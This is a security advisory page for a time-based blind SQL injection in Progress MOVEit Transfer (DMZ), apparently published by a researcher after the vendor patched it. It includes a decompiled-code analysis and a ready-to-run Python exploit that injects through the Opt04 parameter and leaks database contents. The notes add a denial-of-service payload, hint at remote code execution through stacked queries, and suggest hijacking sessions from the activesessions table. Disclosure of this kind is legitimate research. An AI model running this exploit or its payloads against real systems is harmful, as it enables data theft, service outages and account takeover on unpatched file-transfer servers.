Lucene search

K
srcinciteSteven Seeley (mr_me) of Qihoo 360 Vulcan TeamSRC-2021-0014
HistoryMar 03, 2021 - 12:00 a.m.

SRC-2021-0014 : Progress MOVEit Transfer (DMZ) SILHuman FolderApplySettingsRecurs SQL Injection Remote Code Execution Vulnerability

2021-03-0300:00:00
Steven Seeley (mr_me) of Qihoo 360 Vulcan Team
srcincite.io
30

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

6.5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:S/C:P/I:P/A:P

0.001 Low

EPSS

Percentile

47.5%

Vulnerability Details:

This vulnerability allows remote attackers to execute arbitrary code on affected installations of MOVEit Transfer. Authentication is required to exploit this vulnerability.

The specific flaw exists within the FolderApplySettingsRecurs function of the SILHuman class. The issue results from the lack of proper validation of the user-supplied parameters when calling the folderapplysubfoldersettings transaction. An attacker can leverage this vulnerability to execute code in the context of the database server.

Affected Vendors:

Progress

Affected Products:

MOVEit Transfer (DMZ) <= 2020.1 (12.1.1.116)

Vendor Response:

Progress has issued an update to correct this vulnerability. More details can be found at: <https://community.progress.com/s/article/MOVEit-Transfer-Vulnerability-April-2021&gt;

#!/usr/bin/env python3
"""
Progress MOVEit Transfer (DMZ) SILHuman FolderApplySettingsRecurs SQL Injection Remote Code Execution Vulnerability
Steven Seeley of 360 Vulcan Team
CVE: CVE-2021-31827
Software: https://www.ipswitch.com/moveit
Version:  2020.1 (12.1.1.116)
CVSS: 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)

# Summary

An authenticated low privileged user can trigger an sql injection which can result in either a denial of service, elevation of privilege or remote code execution (if Postgres or MSSQL is configured).

# Notes

- Rapid-Fail Protection Maximum Failures is set to 5. This means that we can only crash the target 5 times before the apppool is shutdown and we cause a permanent DoS. To avoid this I used a time based blind injection.
- This poc was tested on MySQL and as such only triggers a data leak, but if you want to trigger a DoS, then the following payload triggered 5 times will be sufficient: "1) left join folderperms as sfp on pfp.Username=sfp.Username and 1=1 limit 1-- ". The payload will return a valid result set and trigger a recursive call in the `FolderApplySettingsRecurs` function and eventually cause a stack exhaustion. Likewise if you want to trigger an RCE then you will need to use stacked queries against an instance configured with Postgres or MSSQL server.
- The query will take over 5 seconds to return if the character is true when we sleep for 0.71 of a second. 

```
mysql> SELECT sfp.ID,sfp.FolderPath,sfp.FolderPathHash FROM folderperms AS pfp LEFT JOIN folders ON pfp.ID=folders.ParentID AND folders.FolderType In (4,1) left join folderperms as sfp on pfp.Username=sfp.Username and if(1=1,sleep(0.71),null) limit 1;
+------+------------+----------------+
| ID   | FolderPath | FolderPathHash |
+------+------------+----------------+
| NULL | NULL       | NULL           |
+------+------------+----------------+
1 row in set (5.04 sec)
```

# Vulnerability Analysis

Inside of the `SILHuman.PerformAction` function we can see:

```
// MOVEit.DMZ.WebApp.SILHuman
public void PerformAction(bool IsRecursive = false)
{

            // ...
            else if (num <= 3595407778U)
            {
                if (num <= 3560491993U)
                {
                    if (num != 3550431888U)
                    {
                        if (num != 3554175998U)
                        {
                            // ...
                            return;
                        }
                        else
                        {
                            if (Operators.CompareString(text7, "folderapplysubfoldersettings", false) != 0)
                            {
                                return;
                            }
                            if (Operators.CompareString(this.siGlobs.Opt01, "", false) != 0)
                            {
                                if (Operators.CompareString(this.siGlobs.Opt02, "", false) == 0)
                                {
                                    this.siGlobs.Opt02 = Conversions.ToString(0);
                                }
                                if (Operators.CompareString(this.siGlobs.Opt05, "", false) == 0)
                                {
                                    this.siGlobs.Opt05 = "0";
                                }
                                string arg17 = this.siGlobs.Arg01;
                                bool flag2 = true;
                                SILDictionarysildictionary = null;
                                string left = "";
                                this.FolderApplySettingsRecurs(arg17, ref flag2, ref sildictionary, ref left, ref this.siGlobs.Opt04); // 1
```

This function is over 10k lines of code, so I have only included what's relevant for the sake of brevity. `num` is a calculated hash from the attacker supplied `Transaction` parameter and assuming that the attacker supplies `Transaction=folderapplysubfoldersettings` then they can reach *[1]* which is a call to `FolderApplySettingsRecurs`.

However the last parameter is coming from the attacker supplied POST body.

```
// MOVEit.DMZ.ClassLib.SILGlobals
public void GetWebVarsWEBFORMPOST()
{
    // ...
    this.Opt04 = SILUtility.XHTMLClean(form.Get("Opt04"), true);
    // ...
}
```

The `XHTMLClean` function will html encode ' characters, but that's ok because we don't need quotes in this sql injection.

```
// MOVEit.DMZ.WebApp.SILHuman
// Token: 0x060000FF RID: 255 RVA: 0x000328F8 File Offset: 0x00030AF8
public void FolderApplySettingsRecurs(string ParentID, ref bool IsOrig = true, ref SILDictionaryOrigArgs = null, ref string ErrStr = "", ref string SystemFolderTypes = "")
{
    if (IsOrig & OrigArgs == null)
    {
        // ...
    }
    string query = string.Empty;
    ADORecordset adorecordset = null;
    string text = Conversions.ToString(4);
    if (Operators.CompareString(SystemFolderTypes, "", false) != 0)
    {
        text = text + "," + SystemFolderTypes; // 2
    }
    string text2 = string.Empty;
    string empty = string.Empty;
    SILUtility.SplitFolderIDAndPathHash(ParentID, ref text2, ref empty);
    string text3 = "REPLACE(REPLACE(pfp.FolderPath,'_','\\_'),'%','\\%')";
    if (this.siGlobs.objWrap.Connection.Engine == SIDBEngine.SQLServer)
    {
        text3 = "REPLACE(REPLACE(" + text3 + ",'[','\\['),']','\\]')";
    }
    text3 = "CONCAT(" + text3 + ", CASE WHEN pfp.FolderPath='/' THEN '%' ELSE '/%' END)";
    query = string.Concat(new string[]
    {
        "SELECT sfp.ID,sfp.FolderPath,sfp.FolderPathHash FROM folderperms AS pfp LEFT JOIN folders ON pfp.ID=folders.ParentID AND folders.FolderType In (",
        text, // 3
        ") LEFT JOIN folderperms AS sfp ON pfp.Username=sfp.Username AND folders.ID=sfp.ID WHERE ",
        this.siGlobs.objUser.GetMyUsernameWHEREClauseForFolderPerms("pfp"),
        "AND pfp.ID='",
        text2,
        "' AND pfp.FolderPathHash='",
        empty,
        "' AND ",
        this.siGlobs.objUtility.BuildLikeForSQL("sfp.FolderPath", text3, true, false, false, false)
    });
    this.siGlobs.objWrap.DoReadQuery(query, ref adorecordset, true, true); // 4
    // ...
}
```

At *[2]*  and *[3]* the code concatenates the attacker supplied string into a query. Then at *[4]* an sql injection is triggered. But before we can reach `PerformAction`, the `ProcessHumanRequest` function checks if a username is not "Anonymous" which means the attacker will need a low privileged account to trigger this vulnerability.

```c#
        public void ProcessHumanRequest()
        {
            if (!(Operators.CompareString(this.siGlobs.objUser.Username, "Anonymous", false) == 0 | this.siGlobs.objUser.Permission <= (UserPermissionType)4))  // auth check (weak but enough to minimise impact)
            {
                this.PerformAction(false);
            }
```

The full stacktrace can be reviewed below:

```
>    midmz.dll!MOVEit.DMZ.WebApp.SILHuman.FolderApplySettingsRecurs(string ParentID, ref bool IsOrig, ref MOVEit.DMZ.Core.SILDictionaryOrigArgs, ref string ErrStr, ref string SystemFolderTypes) (IL=0x02B6, Native=0x00007FFACED92E90+0x52E)
     midmz.dll!MOVEit.DMZ.WebApp.SILHuman.PerformAction(bool IsRecursive) (IL=0x603A, Native=0x00007FFACED61AD0+0xBA1B)
     midmz.dll!MOVEit.DMZ.WebApp.SILHuman.ProcessHumanRequest() (IL≈0x0037, Native=0x00007FFACED61820+0x61)
     midmz.dll!MOVEit.DMZ.WebApp.SILHuman.Human_Main() (IL=0x2A7D, Native=0x00007FFACED30080+0x6465)
     midmz.dll!MOVEit.DMZ.WebApp.SILHuman.GetHumanHTMLNew(ref System.Web.HttpRequest parmRequest, ref System.Web.HttpResponse parmResponse, ref System.Web.SessionState.HttpSessionState parmSession, ref System.Web.HttpApplicationState parmApplicationState) (IL=0x0080, Native=0x00007FFACEBDDE80+0x1A9)
     midmz.dll!MOVEit.DMZ.WebApp.human.Page_Load(object sender, System.EventArgs e) (IL≈0x0024, Native=0x00007FFACEBDDBA0+0xD9)
     System.Web.dll!System.Web.UI.Control.OnLoad(System.EventArgs e) (IL≈0x0021, Native=0x00007FFB266F3170+0x6A)
     System.Web.dll!System.Web.UI.Control.LoadRecursive() (IL=0x002E, Native=0x00007FFB266F31E0+0x44)
     System.Web.dll!System.Web.UI.Page.ProcessRequestMain(bool includeStagesBeforeAsyncPoint, bool includeStagesAfterAsyncPoint) (IL=0x04C3, Native=0x00007FFB26701330+0xEC9)
     System.Web.dll!System.Web.UI.Page.ProcessRequest(bool includeStagesBeforeAsyncPoint, bool includeStagesAfterAsyncPoint) (IL=0x003C, Native=0x00007FFB267010D0+0x9F)
     System.Web.dll!System.Web.UI.Page.ProcessRequest() (IL≈0x0014, Native=0x00007FFB26701040+0x4B)
     System.Web.dll!System.Web.HttpApplication.ExecuteStepImpl(System.Web.HttpApplication.IExecutionStep step) (IL=epilog, Native=0x00007FFB26DD56F0+0xC3)
     System.Web.dll!System.Web.HttpApplication.ExecuteStep(System.Web.HttpApplication.IExecutionStep step, ref bool completedSynchronously) (IL≈0x0015, Native=0x00007FFB266C6820+0x58)
     System.Web.dll!System.Web.Util.AspCompatApplicationStep.ExecuteAspCompatCode() (IL≈0x001F, Native=0x00007FFB26E931C0+0x65)
     System.Web.dll!System.Web.Util.AspCompatApplicationStep.OnAspCompatExecution() (IL≈0x0024, Native=0x00007FFB26E932D0+0x60)
```

# Exploitation

The db user is moveitdmz with limited privileges under MySQL:

```
mysql> SHOW GRANTS for moveitdmz@localhost;
+------------------------------------------------------------------+
| Grants for moveitdmz@localhost                                   |
+------------------------------------------------------------------+
| GRANT USAGE ON *.* TO `moveitdmz`@`localhost`                    |
| GRANT ALL PRIVILEGES ON `moveitdmz`.* TO `moveitdmz`@`localhost` |
+------------------------------------------------------------------+
2 rows in set (0.00 sec)

mysql>
```

Also, stack based queries and inserts/updates are not possible under MySQL. However, an attacker can target the activesessions table to escalate privileges:

```
mysql> select LoginName,SessionID from activesessions;
+-----------+--------------------------+
| LoginName | SessionID                |
+-----------+--------------------------+
| harryh    | dkb54yja0xrsvih1iqmcmkmy |
+-----------+--------------------------+
1 row in set (0.00 sec)
```

# Proof of Concept

```
researcher@incite:~$ ./poc.py
(+) usage: ./poc.py(+) eg: ./poc.py 192.168.1.123 l32c5syb2wiuzy4crf2rulcs

researcher@incite:~$ ./poc.py 192.168.1.123 fino23lobcxjrsahtrci5srj
(+) targeting 192.168.1.123
(+) obtained csrftoken: 816a81e11788cfec1e503f41aeee3b02390b13e4
(+) sql injection working!
(+) MySQL version: 8.0.21-commercial
(+) done!
```
"""
import re
import sys
import urllib3
import requests
from time import time
urllib3.disable_warnings()

def determine_bool(target, sessid, csrftk, exp):
    p = {
       "Transaction" : "folderapplysubfoldersettings",
       "CsrfToken": csrftk,
       "Opt01": 1,
       "Opt04" : "1) left join folderperms as sfp on pfp.Username=sfp.Username and if(%s,sleep(0.71),null) limit 1-- " % exp
    }
    c = { "ASP.NET_SessionId" : sessid }
    before = time()
    requests.post("https://%s/human.aspx" % target, data=p, cookies=c, verify=False)
    after = time()
    if ((after-before) > 5): return True
    return False
    
def trigger_sqli(target, sessid, csrftk, char, sql, c_range):
    for i in c_range:
        if determine_bool(
            target, 
            sessid, 
            csrftk, 
            "ascii(substr((%s),%d,1))=%d" % (sql, char, i)
        ): return chr(i)
    return -1

def leak_string(target, sessid, csrftk, sql, leak_name, max_length, c_range):
    sys.stdout.write("(+) %s: " % leak_name)
    sys.stdout.flush()
    leak_string = ""
    for i in range(1,max_length+1):
        c = trigger_sqli(target, sessid, csrftk, i, sql, c_range)
        if c == -1:
            break
        leak_string += c
        sys.stdout.write(c)
        sys.stdout.flush()
    assert len(leak_string) > 0, "(+) sql injection failed for %s!" % leak_name
    return leak_string 

def get_csrf(target, sessid):
    c = { "ASP.NET_SessionId" : sessid }
    r = requests.get("https://%s/human.aspx" % target, params={"arg12":"account"}, cookies=c, verify=False)
    match = re.search("csrftoken\" value=\"(.{40})", r.text)
    assert match, "(-) was unable to obtain csrf token!"
    return match.group(1)
    
def main():
    if(len(sys.argv) < 3):
        print("(+) usage: %s" % sys.argv[0])
        print("(+) eg: %s 192.168.1.123 l32c5syb2wiuzy4crf2rulcs" % sys.argv[0])
        return
    target = sys.argv[1]
    sessid = sys.argv[2]
    print("(+) targeting %s" % target)
    csrftk = get_csrf(target, sessid)
    print("(+) obtained csrftoken: %s" % csrftk)
    if determine_bool(target, sessid, csrftk, "1=1") and not determine_bool(target, sessid, csrftk, "1=2"):
        print("(+) sql injection working!")
        version = leak_string(
            target,
            sessid, 
            csrftk,
            "select @@version",                      # target query
            "MySQL version",                         # pretty print
            20,                                      # the assumed max length of @@version
            list(range(45,58)) + list(range(97,123)) # decimal charset: 0-9a-z-./
        )
        print("\n(+) done!")

if __name__ == '__main__':
    main()

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

6.5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:S/C:P/I:P/A:P

0.001 Low

EPSS

Percentile

47.5%

Related for SRC-2021-0014